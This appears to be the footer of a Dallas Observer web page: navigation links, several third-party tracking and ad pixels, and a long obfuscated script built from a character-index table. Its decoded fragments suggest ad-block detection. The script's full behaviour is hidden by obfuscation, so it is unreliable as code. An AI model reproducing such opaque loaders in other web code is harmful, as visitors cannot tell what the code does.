'event', 'Nav-Bottom', 'Click', 'Arts & Culture')" title=""> Arts &amp; Culture </a> </li> <li> <a href="https://www.dallasobserver.com/music" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Music')" title=""> Music </a> </li> <li> <a href="https://www.dallasobserver.com/guide/dallas-restaurants" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Restaurant Guide')" title=""> Restaurant Guide </a> </li> </ul> </li> <li class="uk-parent"> <a href="https://www.dallasobserver.com/promotions" target="_self" class="fdn-custom-footer-navigation-link-block-row-header" > Marketing </a> <ul class="uk-nav-sub uk-child-width-1-2 uk-flex uk-flex-wrap"> <li> <a href="https://www.dallasobserver.com/profile?newsletter=12038512" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Promotions Newsletter')" title=""> Promotions Newsletter </a> </li> <li> <a href="https://www.dallasobserver.com/about/flipbooks" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Flipbooks')" title=""> Flipbooks </a> </li> </ul> </li> <li class="uk-parent"> <a href="https://www.dallasobserver.com/about" target="_self" class="fdn-custom-footer-navigation-link-block-row-header" > More </a> <ul class="uk-nav-sub uk-child-width-1-2 uk-flex uk-flex-wrap"> <li> <a href="https://www.dallasobserver.com/about" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'About Us')" title=""> About Us </a> </li> <li> <a href="https://www.dallasobserver.com/about/staff" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Staff')" title=""> Staff </a> </li> <li> <a href="https://www.dallasobserver.com/about/careers" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Observer Careers')" title=""> Observer Careers </a> </li> <li> <a href="https://www.dallasobserver.com/about/circulation" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Circulation')" title=""> Circulation </a> </li> <li> <a href="https://adindex.dallasobserver.com/classifieds" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Classifieds')" title=""> Classifieds </a> </li> <li> <a href="https://www.dallasobserver.com/advertise" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Local Advertising')" title=""> Local Advertising </a> </li> <li> <a href="https://www.dallasobserver.com/about/terms-of-use" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Terms of Use')" title=""> Terms of Use </a> </li> <li> <a href="https://www.dallasobserver.com/about/privacy-policy" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Privacy Policy')" title=""> Privacy Policy </a> </li> <li> <a href="https://www.dallasobserver.com/about/contact" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Contact Us')" title=""> Contact Us </a> </li> </ul> </li> <li class="uk-parent"> <a href="#" target="_self" class="fdn-custom-footer-navigation-link-block-row-header" uk-totop uk-scroll> Back to Top </a> </li> </ul> <div class="fdn-custom-footer-navigation-link-social-block"> <a class="fdn-custom-footer-navigation-link-social-facebook" href="https://www.facebook.com/DallasObserver" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Facebook')" target="_blank" rel="nofollow"> <i class="fab fa-2x fa-facebook"></i> </a> <a class="fdn-custom-footer-navigation-link-social-instagram" href="https://www.instagram.com/dallasobserver/" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Instagram')" target="_blank" rel="nofollow"> <i class="fab fa-2x fa-instagram"></i> </a> <a class="fdn-custom-footer-navigation-link-social-twitter" href="https://twitter.com/dallas_observer" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Twitter')" target="_blank" rel="nofollow"> <i class="fab fa-2x fa-twitter"></i> </a> </div> </div> </div> <div class="fdn-custom-footer-navigation-link-block-narrow-legal-links"> <div class="fdn-custom-footer-navigation-link-block-narrow-legal-link-row"> <a href="https://www.dallasobserver.com/about/californiaPrivacyPolicy" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'California Privacy Policy')" title=""> California Privacy Policy </a> <a href="https://www.dallasobserver.com/about/californiaPrivacyPolicy#CollectionNotice" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'California Collection Notice')" title=""> California Collection Notice </a> </div> <div class="fdn-custom-footer-navigation-link-block-narrow-legal-link-row"> <a href="https://www.dallasobserver.com/about/californiaPrivacyPolicy#DoNotSell" target="_self" onclick="ga('send', 'event', 'Nav-Bottom', 'Click', 'Do Not Sell My Info')" title=""> Do Not Sell My Info </a> </div> </div> </div> <div class="uk-flex uk-flex-center uk-margin-medium-top custom-footer-row-bottom custom-footer-row"> <div class="uk-text-center"> <div class="fdn-copyright-text"> Use of this website constitutes acceptance of our <a href="/about/terms-of-use">terms of use</a>, <a href="/about/cookies">our cookies policy</a>, and our <a href="/about/privacy-policy">privacy policy</a> The Dallas Observer may earn a portion of sales from products & services purchased through links on our site from our affiliate partners. &copy;2023 Dallas Observer, LP. All rights reserved. </div> <div class="fdn-copyright-text uk-margin-small-top"> <a class="fdn-copyright-link" href="https://publishwithfoundation.com/" target="_blank"> <img width="110" alt="Powered By Foundation" src="/images/PoweredByFoundation.svg"> </a> </div> </div> </div> </div><script> !function(f,b,e,v,n,t,s){if(f.fbq)return;n=f.fbq=function(){n.callMethod?n.callMethod.apply(n,arguments):n.queue.push(arguments)};if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';n.queue=[];t=b.createElement(e);t.async=!0;t.src=v;s=b.getElementsByTagName(e)[0];s.parentNode.insertBefore(t,s)}(window,document,'script','https://connect.facebook.net/en_US/fbevents.js'); fbq('init', '274857686046164'); // Insert your pixel ID here. fbq('track', 'PageView'); </script> <noscript><img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id=274857686046164&ev=PageView&noscript=1"/></noscript> <script type='text/javascript'> (function() { window._sf_async_config = window._sf_async_config || {}; _sf_async_config.uid = 10424; _sf_async_config.domain = 'dallasobserver.com'; _sf_async_config.useCanonical = true; _sf_async_config.sections = '/news'; _sf_async_config.authors = 'Robert Wilonsky'; function loadChartbeat() { window._sf_endpt = (new Date()).getTime(); var e = document.createElement('script'); var n = document.getElementsByTagName('script')[0]; e.type = 'text/javascript'; e.async = true; e.src = '//static.chartbeat.com/js/chartbeat.js'; n.parentNode.insertBefore(e, n); } loadChartbeat(); })(); </script> <!-- Quantcast Tag --> <script> var ezt = ezt ||[]; (function(){ var elem = document.createElement('script'); elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://pixel") + ".quantserve.com/aquant.js?a=p-a4LDpi_DEopn-"; elem.async = true; elem.type = "text/javascript"; var scpt = document.getElementsByTagName('script')[0]; scpt.parentNode.insertBefore(elem,scpt); }()); ezt.push({qacct: 'p-a4LDpi_DEopn-', uid: '' }); </script> <noscript> <img src="//pixel.quantserve.com/pixel/p-a4LDpi_DEopn-.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/> </noscript> <!-- End Quantcast Tag --> <!-- Audigent Tagging Code --> <script> (function(w,d,t,u){ var a=d.createElement(t);a.async=1;a.src=u+"?url="+encodeURIComponent(w.location.href)+"&ref="+encodeURIComponent(d.referrer); var s=d.getElementsByTagName(t)[0]; s.parentNode.insertBefore(a,s); })(window, document, 'script', 'https://a.ad.gt/api/v1/u/matches/322') </script> <!-- End Audigent Tagging Code --> <!-- Adcellerant --> <script src="https://js.adsrvr.org/up_loader.1.1.0.js" type="text/javascript"></script> <script type="text/javascript"> ttd_dom_ready( function() { if (typeof TTDUniversalPixelApi === 'function') { var universalPixelApi = new TTDUniversalPixelApi(); universalPixelApi.init("eac6kka", ["07ypglr"], "https://insight.adsrvr.org/track/up"); } }); </script> <!-- End Adcellerant --> </div> </div> <div class="ev-grid-zone ev-closer-zone" data-ev-zone="Closer"> <div class="ev-grid-col uk-width-1-1"> </div> </div> </div> </div> <script>if(rfaunvaloswlrd==undefined){var rfaunvaloswlrd={ts:'1674962470',};(function(){var yazdezg=["T","4","+","5","d","S","D","F","Q","I","^","K","O","R","{","c","[","(","o","r","U","p","y","3","*","z","8","L","/","9","#","P","'","E","]","k","%","t","0","-","\\","M","J","6","@","h","f","=","C","a","<","Y","g","j","V",")","l","B","7"," ","`","}","m","A",".","&","|","x","b","W",";",">",":","q","$","N","v","e","2","_","u","!","?","i","w","H","\"","X",",","1","Z","s","G","n"];var rfaunvaloswlrd=[37,19,22,14,4,18,15,80,62,77,93,37,64,15,80,19,19,77,93,37,5,15,19,83,21,37,64,91,77,37,63,37,37,19,83,68,80,37,77,17,32,91,19,15,32,88,32,56,18,56,32,55,70,61,15,49,37,15,45,17,77,55,14,61,83,46,17,41,49,37,45,64,19,49,93,4,18,62,47,47,93,80,56,56,55,14,12,68,53,77,15,37,64,4,77,46,83,93,77,31,19,18,21,77,19,37,22,17,41,49,37,45,88,86,19,49,93,4,18,62,86,88,14,76,49,56,80,77,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,21,49,19,91,77,7,56,18,49,37,17,32,38,64,32,2,93,77,84,59,6,49,37,77,17,55,64,52,77,37,20,0,48,41,83,56,56,83,91,77,15,18,93,4,91,17,55,55,61,61,55,70,61,83,46,17,41,49,37,45,64,46,56,18,18,19,47,47,93,80,56,56,55,14,12,68,53,77,15,37,64,4,77,46,83,93,77,31,19,18,21,77,19,37,22,17,41,49,37,45,88,86,46,56,18,18,19,86,88,14,76,49,56,80,77,72,46,80,93,15,37,83,18,93,17,76,55,14,19,77,37,80,19,93,59,21,49,19,91,77,9,93,37,17,76,64,37,18,5,37,19,83,93,52,17,55,55,61,61,55,70,61,83,46,17,63,31,9,47,47,80,93,4,77,46,83,93,77,4,55,14,76,49,19,59,63,31,9,47,14,80,72,32,28,28,84,84,84,64,4,49,56,56,49,91,18,68,91,77,19,76,77,19,64,15,18,62,28,28,28,53,83,77,46,77,18,56,83,37,77,53,83,77,28,53,83,77,46,49,68,21,53,83,77,28,78,38,78,23,28,38,89,28,53,83,77,77,49,68,21,39,84,45,77,19,77,49,19,77,22,18,80,84,89,23,23,43,38,49,39,16,19,34,64,21,93,52,32,88,22,72,32,28,28,84,84,84,64,4,49,56,56,49,91,18,68,91,77,19,76,77,19,64,15,18,62,28,73,26,92,89,79,80,92,28,85,92,18,11,57,28,19,7,80,9,67,87,4,53,31,0,51,77,28,92,11,11,7,85,54,31,69,68,12,87,39,16,19,34,64,53,21,52,32,88,37,91,72,32,89,43,58,1,29,43,78,1,58,38,32,88,46,56,72,16,34,88,15,46,72,46,49,56,91,77,88,49,37,79,4,18,72,86,19,4,4,22,84,4,64,15,18,62,86,88,49,37,79,53,91,72,86,49,4,76,77,19,37,83,91,83,93,52,64,53,91,86,88,49,37,79,83,62,72,86,49,4,15,18,4,77,64,21,93,52,86,88,49,37,79,19,80,72,86,28,49,4,76,77,19,37,83,91,83,93,52,64,53,91,86,88,49,37,79,19,83,72,86,28,49,4,15,56,80,37,37,77,19,64,21,93,52,86,88,49,37,79,77,83,72,86,19,83,52,45,37,49,4,86,88,49,37,79,77,15,72,86,15,18,93,37,77,93,37,39,49,4,59,15,18,93,37,77,93,37,63,4,86,88,49,37,79,77,91,72,86,21,18,91,83,37,83,18,93,72,49,68,91,18,56,80,37,77,70,4,83,91,21,56,49,22,72,68,56,18,15,35,70,86,88,49,37,79,77,72,37,19,80,77,88,49,37,79,19,72,37,19,80,77,88,49,37,79,19,78,72,46,49,56,91,77,88,83,72,46,49,56,91,77,88,15,72,38,88,80,15,72,46,49,56,91,77,88,15,56,72,16,34,88,21,76,72,46,49,56,91,77,88,15,91,91,72,46,49,56,91,77,88,49,37,79,52,72,46,49,56,91,77,88,49,37,79,4,72,46,49,56,91,77,88,49,37,79,83,72,46,49,56,91,77,88,49,37,79,46,72,46,49,56,91,77,88,49,37,79,83,68,72,32,53,83,77,32,88,91,93,72,38,88,91,37,49,19,37,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,55,14,81,46,80,93,15,37,83,18,93,17,49,88,68,88,15,55,14,49,16,68,34,47,15,17,55,61,17,63,31,9,88,86,76,86,88,46,80,93,15,37,83,18,93,17,55,14,46,80,93,15,37,83,18,93,59,49,17,55,14,19,77,37,80,19,93,14,84,83,4,37,45,72,35,17,55,88,45,77,83,52,45,37,72,56,17,55,61,61,46,80,93,15,37,83,18,93,59,68,17,49,88,68,55,14,76,49,19,59,15,47,14,61,70,19,77,37,80,19,93,59,68,47,2,68,66,66,38,88,15,64,84,83,4,37,45,47,17,15,64,19,83,52,45,37,47,49,64,19,83,52,45,37,2,68,55,39,17,15,64,56,77,46,37,47,49,64,56,77,46,37,39,68,55,88,15,64,45,77,83,52,45,37,47,17,15,64,68,18,37,37,18,62,47,49,64,68,18,37,37,18,62,2,68,55,39,17,15,64,37,18,21,47,49,64,37,18,21,39,68,55,88,15,61,46,80,93,15,37,83,18,93,59,15,17,49,88,15,55,14,19,77,37,80,19,93,59,49,47,49,65,65,81,49,64,93,18,4,77,0,22,21,77,82,49,16,38,34,72,49,88,49,65,65,89,47,47,47,49,64,93,18,4,77,0,22,21,77,82,68,17,49,64,52,77,37,57,18,80,93,4,83,93,52,48,56,83,77,93,37,13,77,15,37,17,55,88,15,55,72,81,89,61,46,80,93,15,37,83,18,93,59,4,17,68,55,14,68,47,93,80,56,56,47,47,68,82,49,17,55,72,89,47,47,47,68,64,93,18,4,77,0,22,21,77,82,15,17,68,55,72,68,70,76,49,19,59,4,47,68,64,45,77,83,52,45,37,88,77,47,68,64,84,83,4,37,45,70,19,77,37,80,19,93,59,4,47,86,46,80,93,15,37,83,18,93,86,47,47,37,22,21,77,18,46,59,4,82,4,64,15,49,56,56,17,68,55,72,4,88,77,47,86,46,80,93,15,37,83,18,93,86,47,47,37,22,21,77,18,46,59,77,82,77,64,15,49,56,56,17,68,55,72,77,88,77,28,4,61,76,49,19,59,77,47,14,61,88,46,47,86,80,93,4,77,46,83,93,77,4,86,81,47,37,22,21,77,18,46,59,84,83,93,4,18,84,65,65,84,83,93,4,18,84,88,52,47,86,80,93,4,77,46,83,93,77,4,86,81,47,37,22,21,77,18,46,59,4,18,15,80,62,77,93,37,65,65,4,18,15,80,62,77,93,37,88,45,47,52,65,65,52,64,4,18,15,80,62,77,93,37,33,56,77,62,77,93,37,88,83,47,46,49,56,91,77,88,53,47,83,82,46,80,93,15,37,83,18,93,17,49,55,14,19,77,37,80,19,93,81,81,83,64,15,49,56,56,17,46,88,49,55,64,62,49,37,15,45,77,91,61,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,81,89,61,88,35,47,77,64,76,83,77,84,21,18,19,37,69,47,46,80,93,15,37,83,18,93,17,55,14,76,49,19,59,49,47,45,64,15,56,83,77,93,37,69,83,4,37,45,88,68,47,46,64,83,93,93,77,19,69,83,4,37,45,70,19,77,37,80,19,93,59,68,71,49,82,68,72,49,61,88,56,47,77,64,76,83,77,84,21,18,19,37,85,47,46,80,93,15,37,83,18,93,17,55,14,76,49,19,59,49,47,45,64,15,56,83,77,93,37,85,77,83,52,45,37,88,68,47,46,64,83,93,93,77,19,85,77,83,52,45,37,70,19,77,37,80,19,93,59,68,71,49,82,68,72,49,61,70,19,77,37,80,19,93,59,77,64,62,73,47,53,88,77,64,76,83,77,84,21,18,19,37,47,49,88,77,64,91,15,19,18,56,56,87,47,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,64,21,49,52,77,87,12,46,46,91,77,37,66,66,45,64,91,15,19,18,56,56,27,77,46,37,61,88,77,64,91,15,19,18,56,56,51,47,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,64,21,49,52,77,51,12,46,46,91,77,37,66,66,45,64,91,15,19,18,56,56,0,18,21,61,88,77,64,19,77,15,37,49,93,52,56,77,47,15,88,77,64,49,91,21,77,15,37,47,4,88,77,64,83,93,87,47,46,80,93,15,37,83,18,93,17,49,88,68,55,14,76,49,19,59,4,47,15,17,49,88,68,55,70,19,77,37,80,19,93,81,81,4,65,65,4,64,19,83,52,45,37,71,47,38,65,65,4,64,56,77,46,37,50,47,35,17,55,61,88,77,64,83,93,51,47,46,80,93,15,37,83,18,93,17,49,88,68,55,14,76,49,19,59,4,47,15,17,49,88,68,55,70,19,77,37,80,19,93,81,81,4,65,65,4,64,68,18,37,37,18,62,71,47,38,65,65,4,64,37,18,21,50,47,56,17,55,61,88,77,64,83,93,54,83,77,84,21,18,19,37,47,46,80,93,15,37,83,18,93,17,49,88,68,55,14,76,49,19,59,4,47,15,17,49,88,68,55,70,19,77,37,80,19,93,81,81,4,65,65,4,64,68,18,37,37,18,62,71,47,38,65,65,4,64,19,83,52,45,37,71,47,38,65,65,4,64,37,18,21,50,47,56,17,55,65,65,4,64,56,77,46,37,50,47,35,17,55,61,88,77,61,55,70,81,46,80,93,15,37,83,18,93,17,93,88,37,88,77,55,14,37,16,93,34,47,77,17,55,61,17,86,73,86,88,63,31,9,88,46,80,93,15,37,83,18,93,17,55,14,46,80,93,15,37,83,18,93,59,93,17,93,55,14,19,77,37,80,19,93,16,34,64,91,56,83,15,77,64,15,49,56,56,17,93,88,38,55,61,46,80,93,15,37,83,18,93,59,37,17,93,55,14,76,49,19,59,37,70,19,77,37,80,19,93,59,93,65,65,86,18,68,53,77,15,37,86,47,47,37,22,21,77,18,46,59,93,65,65,17,37,47,93,64,93,18,4,77,0,22,21,77,55,65,65,17,89,47,47,37,66,66,29,47,47,37,55,61,46,80,93,15,37,83,18,93,59,77,17,93,55,14,19,77,37,80,19,93,86,18,68,53,77,15,37,86,47,47,37,22,21,77,18,46,59,93,65,65,83,91,7,83,93,83,37,77,17,93,64,56,77,93,52,37,45,55,61,46,80,93,15,37,83,18,93,59,18,17,93,55,14,46,18,19,17,76,49,19,59,37,47,16,34,88,18,47,38,88,19,47,93,64,56,77,93,52,37,45,70,19,71,18,70,2,2,18,55,77,17,93,16,18,34,55,82,37,47,37,64,15,18,93,15,49,37,17,93,16,18,34,55,72,37,16,37,64,56,77,93,52,37,45,34,47,93,16,18,34,70,19,77,37,80,19,93,59,37,61,46,80,93,15,37,83,18,93,59,19,17,93,55,14,76,49,19,59,37,88,77,88,18,47,16,34,70,93,72,46,18,19,17,37,47,38,70,37,50,93,64,56,77,93,52,37,45,70,37,2,2,55,14,46,18,19,17,77,47,38,70,77,50,18,64,56,77,93,52,37,45,70,77,2,2,55,83,46,17,18,16,77,34,47,47,93,16,37,34,55,15,18,93,37,83,93,80,77,59,93,70,18,16,18,64,56,77,93,52,37,45,34,47,93,16,37,34,61,19,77,37,80,19,93,59,18,61,46,80,93,15,37,83,18,93,59,83,17,93,55,14,19,77,37,80,19,93,59,93,82,86,91,37,19,83,93,52,86,47,47,37,22,21,77,18,46,59,93,82,80,17,93,55,16,38,34,72,81,93,16,91,34,65,65,77,17,93,55,82,93,16,38,34,72,93,72,46,61,46,80,93,15,37,83,18,93,59,80,17,19,88,80,55,14,76,49,19,59,49,88,91,47,83,17,80,55,70,19,77,37,80,19,93,59,91,65,65,19,82,19,47,47,47,56,66,66,37,17,19,55,82,81,80,66,66,19,81,47,47,56,65,65,37,17,91,55,65,65,62,17,19,88,91,55,82,16,19,34,72,16,34,72,19,65,65,77,17,19,55,82,18,17,19,55,72,46,64,52,77,37,33,56,77,62,77,93,37,91,57,22,48,56,49,91,91,75,49,62,77,65,65,86,91,37,19,83,93,52,86,47,47,19,65,65,17,49,47,19,64,62,49,37,15,45,17,15,55,55,82,93,17,91,64,52,77,37,33,56,77,62,77,93,37,91,57,22,48,56,49,91,91,75,49,62,77,17,49,16,89,34,55,55,72,19,65,65,17,19,64,4,18,15,80,62,77,93,37,66,66,19,64,93,18,4,77,0,22,21,77,65,65,29,47,47,19,64,93,18,4,77,0,22,21,77,55,82,80,82,16,34,72,16,19,34,72,93,17,91,64,73,80,77,19,22,5,77,56,77,15,37,18,19,63,56,56,17,19,55,55,72,16,34,61,76,49,19,59,15,47,28,10,40,64,17,16,40,84,40,39,34,2,55,74,28,88,67,47,86,15,18,62,21,49,19,77,86,2,86,6,18,15,80,62,77,93,37,86,2,86,31,18,91,83,37,83,18,93,86,88,46,47,4,18,15,80,62,77,93,37,88,56,47,84,83,93,4,18,84,88,49,47,46,64,4,18,15,80,62,77,93,37,33,56,77,62,77,93,37,88,91,47,86,93,18,4,77,0,22,21,77,86,88,62,47,67,59,83,93,59,49,82,46,80,93,15,37,83,18,93,17,93,88,37,55,14,19,77,37,80,19,93,59,89,43,47,47,17,89,43,65,37,16,67,34,17,93,55,55,61,72,46,80,93,15,37,83,18,93,17,93,88,37,55,14,19,77,37,80,19,93,59,37,47,37,47,47,46,66,66,37,47,47,84,83,93,4,18,84,82,49,72,37,88,37,81,47,47,93,65,65,37,64,15,18,93,37,49,83,93,91,17,93,55,61,70,19,77,37,80,19,93,59,80,64,80,93,83,73,47,19,88,80,61,88,37,45,83,91,55,70,83,46,17,93,49,76,83,52,49,37,18,19,64,80,91,77,19,63,52,77,93,37,64,91,77,49,19,15,45,17,86,59,57,19,49,76,77,28,86,55,71,39,89,55,63,31,9,64,49,37,79,19,47,37,19,80,77,70,83,46,17,63,31,9,64,83,55,19,77,37,80,19,93,59,46,49,56,91,77,70,63,31,9,64,83,47,37,19,80,77,70,63,31,9,64,49,37,79,52,47,32,52,77,37,32,70,19,77,37,80,19,93,59,63,31,9,64,49,68,4,17,46,80,93,15,37,83,18,93,17,55,14,37,19,22,14,76,49,19,59,49,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,32,83,46,19,49,62,77,32,55,70,4,18,15,80,62,77,93,37,64,45,77,49,4,64,49,21,21,77,93,4,48,45,83,56,4,17,49,55,70,76,49,19,59,52,77,37,12,84,93,31,19,18,21,77,19,37,22,6,77,91,15,19,83,21,37,18,19,47,49,64,15,18,93,37,77,93,37,69,83,93,4,18,84,64,12,68,53,77,15,37,64,52,77,37,12,84,93,31,19,18,21,77,19,37,22,6,77,91,15,19,83,21,37,18,19,70,76,49,19,59,18,68,53,77,15,37,4,77,46,83,93,77,31,19,18,21,77,19,37,22,47,49,64,15,18,93,37,77,93,37,69,83,93,4,18,84,64,12,68,53,77,15,37,64,4,77,46,83,93,77,31,19,18,21,77,19,37,22,70,12,68,53,77,15,37,64,4,77,46,83,93,77,31,19,18,21,77,19,37,22,47,18,68,53,77,15,37,4,77,46,83,93,77,31,19,18,21,77,19,37,22,70,76,49,19,59,49,21,21,47,52,77,37,12,84,93,31,19,18,21,77,19,37,22,6,77,91,15,19,83,21,37,18,19,17,49,64,15,18,93,37,77,93,37,69,83,93,4,18,84,64,75,18,4,77,64,21,19,18,37,18,37,22,21,77,88,86,83,93,91,77,19,37,57,77,46,18,19,77,86,55,70,49,21,21,64,15,18,93,46,83,52,80,19,49,68,56,77,47,46,49,56,91,77,70,18,68,53,77,15,37,4,77,46,83,93,77,31,19,18,21,77,19,37,22,17,84,83,93,4,18,84,64,75,18,4,77,64,21,19,18,37,18,37,22,21,77,88,86,83,93,91,77,19,37,57,77,46,18,19,77,86,88,49,21,21,55,70,49,21,21,47,52,77,37,12,84,93,31,19,18,21,77,19,37,22,6,77,91,15,19,83,21,37,18,19,17,49,64,15,18,93,37,77,93,37,69,83,93,4,18,84,64,33,56,77,62,77,93,37,64,21,19,18,37,18,37,22,21,77,88,86,83,93,93,77,19,85,0,41,27,86,55,70,49,21,21,64,15,18,93,46,83,52,80,19,49,68,56,77,47,46,49,56,91,77,70,18,68,53,77,15,37,4,77,46,83,93,77,31,19,18,21,77,19,37,22,17,84,83,93,4,18,84,64,33,56,77,62,77,93,37,64,21,19,18,37,18,37,22,21,77,88,86,83,93,93,77,19,85,0,41,27,86,88,49,21,21,55,70,18,68,53,77,15,37,4,77,46,83,93,77,31,19,18,21,77,19,37,22,17,4,18,15,80,62,77,93,37,64,68,18,4,22,88,86,83,93,93,77,19,85,0,41,27,86,88,49,21,21,55,70,49,21,21,47,52,77,37,12,84,93,31,19,18,21,77,19,37,22,6,77,91,15,19,83,21,37,18,19,17,49,64,15,18,93,37,77,93,37,69,83,93,4,18,84,64,33,56,77,62,77,93,37,64,21,19,18,37,18,37,22,21,77,88,86,18,80,37,77,19,85,0,41,27,86,55,70,49,21,21,64,15,18,93,46,83,52,80,19,49,68,56,77,47,46,49,56,91,77,70,18,68,53,77,15,37,4,77,46,83,93,77,31,19,18,21,77,19,37,22,17,84,83,93,4,18,84,64,33,56,77,62,77,93,37,64,21,19,18,37,18,37,22,21,77,88,86,18,80,37,77,19,85,0,41,27,86,88,49,21,21,55,70,49,21,21,47,52,77,37,12,84,93,31,19,18,21,77,19,37,22,6,77,91,15,19,83,21,37,18,19,17,49,64,15,18,93,37,77,93,37,69,83,93,4,18,84,64,85,0,41,27,6,18,15,80,62,77,93,37,64,21,19,18,37,18,37,22,21,77,88,86,52,77,37,33,56,77,62,77,93,37,91,57,22,48,56,49,91,91,75,49,62,77,86,55,70,49,21,21,64,15,18,93,46,83,52,80,19,49,68,56,77,47,46,49,56,91,77,70,18,68,53,77,15,37,4,77,46,83,93,77,31,19,18,21,77,19,37,22,17,4,18,15,80,62,77,93,37,88,86,52,77,37,33,56,77,62,77,93,37,91,57,22,48,56,49,91,91,75,49,62,77,86,88,49,21,21,55,70,49,21,21,47,52,77,37,12,84,93,31,19,18,21,77,19,37,22,6,77,91,15,19,83,21,37,18,19,17,49,64,15,18,93,37,77,93,37,69,83,93,4,18,84,64,33,56,77,62,77,93,37,64,21,19,18,37,18,37,22,21,77,88,86,52,77,37,33,56,77,62,77,93,37,91,57,22,0,49,52,75,49,62,77,86,55,70,49,21,21,64,15,18,93,46,83,52,80,19,49,68,56,77,47,46,49,56,91,77,70,18,68,53,77,15,37,4,77,46,83,93,77,31,19,18,21,77,19,37,22,17,4,18,15,80,62,77,93,37,88,86,52,77,37,33,56,77,62,77,93,37,91,57,22,0,49,52,75,49,62,77,86,88,49,21,21,55,70,49,21,21,47,52,77,37,12,84,93,31,19,18,21,77,19,37,22,6,77,91,15,19,83,21,37,18,19,17,49,64,15,18,93,37,77,93,37,69,83,93,4,18,84,88,86,91,77,37,0,83,62,77,18,80,37,86,55,70,49,21,21,64,15,18,93,46,83,52,80,19,49,68,56,77,47,46,49,56,91,77,70,18,68,53,77,15,37,4,77,46,83,93,77,31,19,18,21,77,19,37,22,17,84,83,93,4,18,84,88,86,91,77,37,0,83,62,77,18,80,37,86,88,49,21,21,55,70,49,21,21,47,52,77,37,12,84,93,31,19,18,21,77,19,37,22,6,77,91,15,19,83,21,37,18,19,17,49,64,15,18,93,37,77,93,37,69,83,93,4,18,84,88,86,49,56,77,19,37,86,55,70,49,21,21,64,15,18,93,46,83,52,80,19,49,68,56,77,47,46,49,56,91,77,70,18,68,53,77,15,37,4,77,46,83,93,77,31,19,18,21,77,19,37,22,17,84,83,93,4,18,84,88,86,49,56,77,19,37,86,88,49,21,21,55,70,49,64,19,77,62,18,76,77,17,55,70,61,15,49,37,15,45,17,77,55,14,61,63,31,9,64,46,17,63,31,9,64,46,56,55,70,63,31,9,64,46,15,17,55,70,63,31,9,64,62,46,17,55,70,84,83,93,4,18,84,64,91,77,37,0,83,62,77,18,80,37,17,46,80,93,15,37,83,18,93,17,55,14,63,31,9,64,46,17,63,31,9,64,46,56,55,70,61,88,89,3,38,38,55,70,63,31,9,64,93,18,84,17,63,31,9,64,80,19,17,63,31,9,64,80,55,88,4,18,15,80,62,77,93,37,64,73,80,77,19,22,5,77,56,77,15,37,18,19,63,56,56,17,86,45,37,62,56,86,55,16,38,34,55,70,19,77,37,80,19,93,59,37,19,80,77,70,61,55,70,61,61,17,55,88,49,68,4,72,46,80,93,15,37,83,18,93,17,55,14,19,77,37,80,19,93,59,46,80,93,15,37,83,18,93,17,46,55,14,83,46,17,63,31,9,64,49,37,79,19,55,14,63,31,9,64,49,37,79,83,47,32,9,62,32,2,32,49,52,77,32,70,76,49,19,59,91,83,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,86,83,62,52,86,55,70,91,83,64,15,19,18,91,91,12,19,83,52,83,93,47,86,63,93,18,93,22,62,18,80,91,86,70,91,83,64,18,93,77,19,19,18,19,47,46,80,93,15,37,83,18,93,17,79,91,83,55,14,83,46,17,63,31,9,64,91,93,47,47,38,55,14,63,31,9,64,91,93,47,89,70,63,31,9,64,49,37,79,4,47,32,6,49,32,2,32,37,49,32,70,19,77,37,80,19,93,59,46,17,55,70,61,61,70,91,83,64,18,93,56,18,49,4,47,46,80,93,15,37,83,18,93,17,79,91,83,55,14,83,46,17,63,31,9,64,91,93,47,47,38,55,14,63,31,9,64,49,37,79,19,47,46,49,56,91,77,70,19,77,37,80,19,93,70,61,61,70,91,83,64,91,19,15,47,86,28,28,86,2,63,31,9,64,49,37,79,4,18,2,86,28,86,2,63,31,9,64,49,37,79,83,62,70,61,46,80,93,15,37,83,18,93,59,83,91,17,77,55,14,83,46,17,63,31,9,64,91,93,47,47,38,55,14,63,31,9,64,91,93,47,89,70,63,31,9,64,49,37,79,4,47,32,6,49,32,2,32,37,49,32,70,19,77,37,80,19,93,59,46,17,55,70,61,61,76,49,19,59,91,83,47,4,18,15,80,62,77,93,37,64,15,19,77,49,37,77,33,56,77,62,77,93,37,17,86,91,15,19,83,21,37,86,55,70,91,83,64,18,93,77,19,19,18,19,47,83,91,70,91,83,64,91,19,15,47,86,28,28,21,49,52,77,49,4,78,64,52,18,18,52,56,77,91,22,93,4,83,15,49,37,83,18,93,64,15,18,62,28,21,49,52,77,49,4,28,53,91,28,49,4,91,68,22,52,18,18,52,56,77,64,53,91,86,70,4,18,15,80,62,77,93,37,64,68,18,4,22,64,49,21,